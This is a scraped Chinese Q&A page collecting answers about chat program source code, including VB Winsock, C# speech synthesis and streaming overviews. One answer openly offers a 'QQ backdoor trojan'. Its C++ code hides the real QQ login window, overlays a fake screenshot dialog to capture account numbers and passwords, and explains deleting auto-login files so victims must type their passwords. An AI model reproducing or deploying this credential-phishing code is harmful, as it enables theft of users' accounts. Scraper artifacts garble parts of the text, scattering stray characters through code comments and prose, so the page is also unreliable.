當前位置:首頁 » 操作系統 » 聊天服務端源碼

聊天服務端源碼

發布時間: 2023-04-19 02:07:38

❶ 求一個易語言聊天工具源碼,主要是能進行區域網聊天,傳文件。美不美化無所謂!(源碼要帶上服務端)

飛秋,包你滿意,無線傳輸最低500kb,最好1兆,網線鏈接傳輸速度高達10兆以上…聊天等各種功能更是小菜…

❷ 自己架設的web伺服器能存放江湖聊天室源碼嗎

是的,可以在wINDOwS中安裝IIS,即可運行江湖

❸ 易語言 仿QQ聊天工具 或 聊天室 源碼

客戶端+服務端 易語言完整版的有。

❹ 求個vb聊天程序源代碼

加一個WInsock1控制項,兩個文本框(txtMess、txtSend)和一個按鈕,代碼如下Private Sub Command1_Click()
Winsock1.SendData txtSend.Text '發送聊天內容
txtSend.Text = "" '聊天內正態容清空
End SubPrivate Sub Form_Load()
Dim my As String
Winsock1.Protocol = sckUDPProtocol '設置為UDP協義
Winsock1.LocalPort = 60 '隨便設租塌置,不過兩個要一樣
Winsock1.RemotePort = 60
my = Winsock1.LocalIP '取得自己舉型源的IP地址,是不要的
Winsock1.RemoteHost = my '這里應該是改為別人計算機的IP,由於自己是單機,所以就設置成自己的,自己給自己發信息,可以拿另一台主機試試End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long) '取到數據時發生
Dim Tmp As String
Winsock1.GetData Tmp, vbString '取得數據
Tmp = "對方IP地址:" + Winsock1.RemoteHostIP + "發送內容為-->" + Tmp
txtMess.Text = Tmp + Chr$(13) + Chr$(10) + txtMess.Text '換行輸出聊天信息
End Sub語句超簡單,我用了幾小時才弄出。

❺ 一套完整的視頻直播聊天室源碼怎麼開發

視頻直播聊天室源碼怎麼開發?首先,我們將其分為五部分:採集、編碼,傳輸, 伺服器處理,解碼,渲染。

1、採集:採集就是我們平時「開攝像頭錄像」的部分,用戶通過攝像頭將視頻傳遞到網路上,這里是比較簡單的一部分,只是適配起來會比較麻煩,畢竟手機種類眾多,但本身的技術要求和其他模塊比起來還是簡單很多的。

2、前處理:前處理階段是視頻直播聊天室源碼在將視頻傳輸到伺服器之前要做好的處理工作,包括美顏演算法、視頻模糊、添加水印等,都在這一環節做成

3、編碼:為什麼要將視頻進行編碼呢?因為原音視頻文件是很大的,會佔用很大的帶寬,只有在編碼完成後,視頻文件才會變得小一些,這樣會更節省帶寬。

難點在於:解析度,幀率,碼率,GOP等參數的平衡,視頻直播聊天室源碼如何使音視頻文件又小又清晰,這是個問題

4、傳輸:將主播端文件傳輸給伺服器

5、伺服器處理:在伺服器完成對文件的檢測(包括鑒黃等)後,將文件通過CDN發送到觀眾的手機端。

6、解碼和渲染:交給用戶自己的手機吧。

這是一個視頻直播聊天室源碼的工作步驟,我們需要迴避很多坑才能做好視頻直播聊天室源碼的開發,如有需要幫助的地方,可以追問我。

❻ 求C++編寫QQ客戶端伺服器端的源代碼

郵件已經發送去你的郵箱,請接收,另附上QQ後門木馬一套,謝謝。
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
return FALSE;
}
while (Process32Next(hSnapshot, &pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}

return FALSE;
}

//查找QQ登錄窗口
void QQFind()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
char sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{
//獲得當前激活窗口的句柄
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &QQPID);
//根據PID獲得進程名
processIdToName(sTitle, QQPID);
ss = sTitle;
ss.MakeLower();
//判斷是否QQ
if(ss != "qq.exe")
{
Sleep(100);
continue;
}

//獲得標題文字,判斷是否登陸對話框
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("QQ", 0);
int m = ss.Find("登錄", 0);
if(n >= 0 || m >= 0)
{
/鬧培/查找猜彎蠢QQ登陸按鈕的句柄
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登錄");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登錄");
LoginID = GetDlgCtrlID(ButtonLogin);
//獲得QQ登陸按鈕窗口位置
GetWindowRect(ButtonLogin, &g_qqLogin);

//查找QQ取消按鈕的句柄
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消穗陪");
//獲得QQ取消按鈕窗口位置
GetWindowRect(ButtonCancel, &g_qqCancel);

//查找QQ密碼輸入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
//獲得QQ密碼輸入框窗口位置
GetWindowRect(qqPass_hWnd, &g_qqPassRt);
}

//查找QQ號碼輸入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
//獲得QQ號碼輸入框窗口位置
GetWindowRect(qqID_hWnd, &g_qqIDRt);
//獲得當前默認QQ號碼
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}

//等待QQ窗口完全出現後抓取整個屏幕
Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_pBitmap = CopyScreenToBitmap(&g_DlgRt);

//設置QQ窗口為不可見
ShowWindow(g_hWnd, SW_HIDE);

//彈出我們創建的偽造對話框
HINSTANCE hInstance = GetMoleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);

//設置QQ窗口為可見
ShowWindow(g_hWnd, SW_SHOW);

//把QQ號碼和密碼填到真正的QQ登錄窗口上,並模擬單擊登陸按鈕
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);

DeleteObject(g_pBitmap);
//設置標志退出循環
find = true;
}

}

while(find == FALSE);
}

近日無所事事,看到現在的QQ防盜技術越來越好,一般的鉤子已經無法獲取用戶輸入的密碼了,我也試圖用發送WM_GETTEXT消息以及GetWindowText來獲取密碼文本框的數據,發現是不可行的。左思右想,既然程序本身的防範很 嚴密。那麼我們就從用戶這邊來下手吧。畢竟很多用戶對電腦不是很了解的,各位看官可不能扔丑雞蛋啊。

網吧里一般用戶點擊QQ快捷方式後就輸入號碼和密碼,然後再登陸,這樣我們就可以進行欺騙了。我們的程序運行在後台不停的檢測當前激活的窗口是不是QQ登錄的窗口,如果是的話就先取得QQ登錄窗口中的號碼、密碼文本框和登陸按鈕的窗口位置。這樣是為了在我們偽造的窗口上創建這些窗口時不被察覺,獲得這些信息後,我們先截取整個屏幕,然後把真正的QQ登錄窗口隱藏起來,最後創建我們自己的窗口,設置為最前占滿整個桌面,然後再背景上貼上剛才抓取的圖片。最後在圖片QQ登陸的地方創建好QQ號碼和密碼輸入窗口,在檢測到用戶單擊在QQ登陸按鈕時獲取用戶輸入的字元,把這些字元發送到真正的QQ窗口裡,最後模擬單擊QQ登陸按鈕完成QQ的正常登陸。

然而家庭用戶一般是選了自動登陸的方式,所以沒有QQ登錄的窗口,那我們就要動一些手腳了。了解QQ的地球人都知道,QQ文件夾下有這兩個文件:AutoLogin.dat和LoginUinList.dat,它們的功能:這兩個文件是QQ的號碼登錄數據文件,AutoLogin.dat 保存的是自動登錄號碼的數據文件,LoginUinList.dat則保存的是QQ登錄窗口中的「QQ號碼」下拉框中顯示的所有號碼記錄。所以我們要刪除 QQ登錄數據,直接刪除AutoLogin.dat和LoginUinList.dat兩個文件就行了。

❼ 易語言 仿QQ聊天工具 或 聊天室 源碼

你好,
我有幾百套易語言源碼和模塊,歡迎大家交流,共同進步
隨時共享
這是我們易語言人自己的交流群:132157144 希望大家一起進步,本人隨時解答各類疑問
還不懂得話,繼續聯系

❽ 易語言區域網聊天的問題

127.0.0.1 這是默認本機的IP,意思是當程序識別到是這個IP的話它就不通過網螞喊絡直接在本機電悶擾野腦上找對應的服務端進行連接
你把客戶端給別人的時候如果沒改李游IP還是這個的話,對方客戶端一運行就在自己電腦上找服務端,結果當然就找不到連接不了了,所以把IP改成你自己電腦對應外網的IP應該就行了

❾ 如何在Android系統下開發一個基於WiFi的P2P聊天軟體

如何在Android系統下開發一個基於WiFi的P2P聊天軟體

主要是兆納客戶端連接伺服器端,如果一對一就兩個相連,多對多的話可能需要搭一個伺服器處理
其實這個網路上已經很多相關常式,可以網路搜索下,推薦csdn或者pudn去看一下,內容挺詳細的。

等答案! Android4.0開始只是Wifip2p了,可以利用這個來做一個P2P聊天。

基於C++的P2P聊天系統 源碼

源碼肯定是沒有。但是是可以的,但必須輸入對方的IP地址,或者你這樣,建立一個伺服器,啟動伺服器,伺服器保存著客戶的ip列表,客戶端啟動後,把這些ip分給客戶端,客戶端聊天直接發送消息至另一個客戶端,不經過伺服器,這不就完事了。

如何螞孝在Android上實現P2P文件共享系統

通過對資料庫的索引,我們還為您准備了:
Android P2P 如何實現?
問:請教大蝦們:兩台gphone間(由程序控制)交流,除了透過簡訊外,是否有...
答:謝謝各位大蝦的幫助。我買了兩本介紹android的書都沒有看到socket,所以發貼求助。知道可以用socket太好了。謝謝!
===========================================
基於java的p2p實現文件共享和傳輸
問:我想學學p2p,本人學.NET的,可是始終都沒頭緒,希望哪位悶猜稿大蝦能給個完整...
答:C++ Socket網路編程大全 1.簡單伺服器 #include #pragma ment(lib,"WS2_32.lib") WSADATA sServer,sClient; chat buf[1024]; int retVal; if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) { return -1;失敗 } sServer=socket(AF_INET,SOCK_STRE...
===========================================
p2p文件共享方法或軟體
問:我要共享一大堆無版權視頻、 、我有兩個國外VPS、但是我想用p2p直接把視...
答:直接用BT呢?自己做個種子,然後傳給別人
===========================================

感覺要root獲得最高許可權,類似電腦的共享。然後要在同一區域網,比如一個無線路由器。

如何在源碼環境下開發 android系統app

首先你得看得懂那些源碼是干什麼用的,然後把源碼上的不完善的功能或者不適合你的功能做修改

❿ C#怎樣實現語音聊天視頻功能(要具體代碼)

給你一個winform 的例子,對你可能有用!

涉及技術
動態調用Com對象(全反射、沒有引用com ocx)
取得系統存在的各種語言引擎
使用引擎進行朗讀
使用引擎進行保存聲音

程序圖列:

主要功能描述
實列變數等,構造函授等

取得所有的 識別對象模塊集合,放入下拉框

代碼

object _spVoiceCls =
null; //保存朗讀用的 SAPI.SpVoice

const
int SpFlags =
1; //SpeechVoiceSpeakFlags.SVSFlagsAsyn

object _oISpeechObjectTokens =
null; //保存 SAPI.ISpeechObjectTokens 就是系統有的語音引擎集合

int TokensCount =
0; // 語音引擎集合 數
DictionaryEntry[] _deTokens=null; //榜定下拉框用的

public MainForm()
{
InitializeComponent();
this.HandleDestroyed +=
new EventHandler(Form1_HandleDestroyed);
}

private
void Form1_Load(object sender, EventArgs e)
{

InitSAPI();

}

系統事件:程序載入

取得所有的 識別對象模塊集合,放入下拉框

代碼

void InitSAPI()
{
//創建語音對象朗讀用
_spVoiceCls = CreateComObject("SAPI.SpVoice");

if (_spVoiceCls == null)
{

MessageBox.Show("您的系統沒有,微軟語音組件");
Application.Exit();
}
else
{//取得所有的 識別對象模塊集合

_oISpeechObjectTokens = CallComMethod("GetVoices", _spVoiceCls); //取得SAPI.ISpeechObjectTokens
//識別對象集合 Count;
object r = GetComPropery("Count", _oISpeechObjectTokens);
if (r is int)
{

TokensCount = (int)r;

if (TokensCount > 0)
{
//取得全部語音識別對象模塊,及名稱,以被以後使用
_deTokens = new DictionaryEntry[TokensCount];
for (int i = 0; i < TokensCount; i++)
{
//從集合中取出單個 識別對象模塊
object oSpObjectToken = CallComMethod("Item", _oISpeechObjectTokens, i); //返回 SAPI.SpObjectToken
//取名稱
string Description = CallComMethod("GetDescription", oSpObjectToken) as string;
//放到 DictionaryEntry 對象中,key 是 識別對象模塊,value 是名稱
_deTokens= new DictionaryEntry(oSpObjectToken, Description);

}
//邦定到 下拉框
cboxTokens.DisplayMember = "Value";
cboxTokens.ValueMember = "Key";
cboxTokens.DataSource = _deTokens;
cboxTokens.SelectedIndex = 0;
}

}

}

}

用戶事件:朗讀

朗讀輸入的文本信息

代碼

private void btnSynthesis_Click(object sender, EventArgs e)
{
string msg = rTxtMsg.Text.Trim();
if (msg.Length != 0)
{

if (_spVoiceCls != null)
{

//設置語言引擎
SetComProperty("Voice", _spVoiceCls, cboxTokens.SelectedValue);
//調用Speak 函數,msg 是要播放的文本,1 是非同步播放,因為是非同步的 com 對象不立刻釋放
CallComMethod("Speak", _spVoiceCls, msg, SpFlags);

}
}

}

用戶事件:保存聲音

將輸入的文本信息生成音頻文件保存到文件

代碼

private void Save()
{
string msg = rTxtMsg.Text.Trim();
if (msg.Length != 0)
{
using (SaveFileDialog sfd = new SaveFileDialog())
{
sfd.Filter = "wav 文件 (*.wav)|*.wav";
sfd.RestoreDirectory = true;
if (sfd.ShowDialog() == DialogResult.OK)
{
/*
Enum SpeechStreamFileMode;
SSFMOpenForRead = 0;
SSFMOpenReadWrite = 1;
SSFMCreate = 2;
SSFMCreateForWrite = 3;

*/

int SpFileMode = 3;// SpeechStreamFileMode.SSFMCreateForWrite

object oSpFileStream = CreateComObject("SAPI.SpFileStream"); //創建 SAPI.SpFileStream

object oSpVoice = CreateComObject("SAPI.SpVoice"); //創建 SAPI.SpVoice

try
{
CallComMethod("Open", oSpFileStream, sfd.FileName, SpFileMode, false); //打開流
SetComProperty("Voice", oSpVoice, cboxTokens.SelectedValue); //設置 Voice 屬性,讓誰朗讀
SetComProperty("AudioOutputStream", oSpVoice, oSpFileStream); //設置流

CallComMethod("Speak", oSpVoice, msg, SpFlags); //調用 Speak

CallComMethod("WaitUntilDone", oSpVoice, Timeout.Infinite); //等
CallComMethod("Close", oSpFileStream); //關閉流

MessageBox.Show("保存成功");
}
finally
{
Marshal.ReleaseComObject(oSpVoice);
Marshal.ReleaseComObject(oSpFileStream);
}

}

}
}

}
private void btnSave_Click(object sender, EventArgs e)
{

try
{
btnSave.Enabled = false;
Save();

}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
finally
{
btnSave.Enabled = true;
}

}

調用com組件,功能函數

自己寫的一些幫助函數可以方便調用反射,要不太郁悶(如果是VB 就不用如此費盡了)

#region 調用com組件,功能通用函數
/// <summary>
/// 設置屬性
/// </summary>
/// <param name="name"></param>
/// <param name="o"></param>
/// <param name="vlaue"></param>
private static void SetComProperty(string name, object o, object vlaue)
{
Type t = o.GetType();
t.InvokeMember(name, BindingFlags.Instance | BindingFlags.SetProperty, null, o, new
object[] { vlaue });
}
/// <summary>
/// 取得屬性
/// </summary>
/// <param name="name"></param>
/// <param name="o"></param>
/// <returns></returns>
private static object GetComPropery(string name, object o)
{
Type t = o.GetType();
return t.InvokeMember(name, BindingFlags.Instance | BindingFlags.GetProperty, null, o, null);
}
/// <summary>
/// 調用方法函授
/// </summary>
/// <param name="name"></param>
/// <param name="o"></param>
/// <param name="parms"></param>
/// <returns></returns>
private static object CallComMethod(string name, object o, params object[] parms)
{
Type t = o.GetType();

return t.InvokeMember(name, BindingFlags.Instance | BindingFlags.InvokeMethod, null, o, parms);
}
/// <summary>
/// 創建 com 對象
/// </summary>
/// <param name="FromProgID"></param>
/// <returns></returns>
private static object CreateComObject(string FromProgID)
{
Type comType = Type.GetTypeFromProgID(FromProgID);
object rVar = null;
if (comType != null)
rVar = System.Activator.CreateInstance(comType);

return rVar;
}
#endregion

釋放com對象
很簡單的就一行即可

代碼
void Form1_HandleDestroyed(object sender, EventArgs e)
{
//釋放com對象
Marshal.ReleaseComObject(_spVoiceCls);

}

熱點內容
內置存儲卡可以拆嗎 發布:2025-05-18 04:16:35 瀏覽:333
編譯原理課時設置 發布:2025-05-18 04:13:28 瀏覽:374
linux中進入ip地址伺服器 發布:2025-05-18 04:11:21 瀏覽:610
java用什麼軟體寫 發布:2025-05-18 03:56:19 瀏覽:31
linux配置vim編譯c 發布:2025-05-18 03:55:07 瀏覽:106
砸百鬼腳本 發布:2025-05-18 03:53:34 瀏覽:940
安卓手機如何拍視頻和蘋果一樣 發布:2025-05-18 03:40:47 瀏覽:737
為什麼安卓手機連不上蘋果7熱點 發布:2025-05-18 03:40:13 瀏覽:801
網卡訪問 發布:2025-05-18 03:35:04 瀏覽:507
接收和發送伺服器地址 發布:2025-05-18 03:33:48 瀏覽:370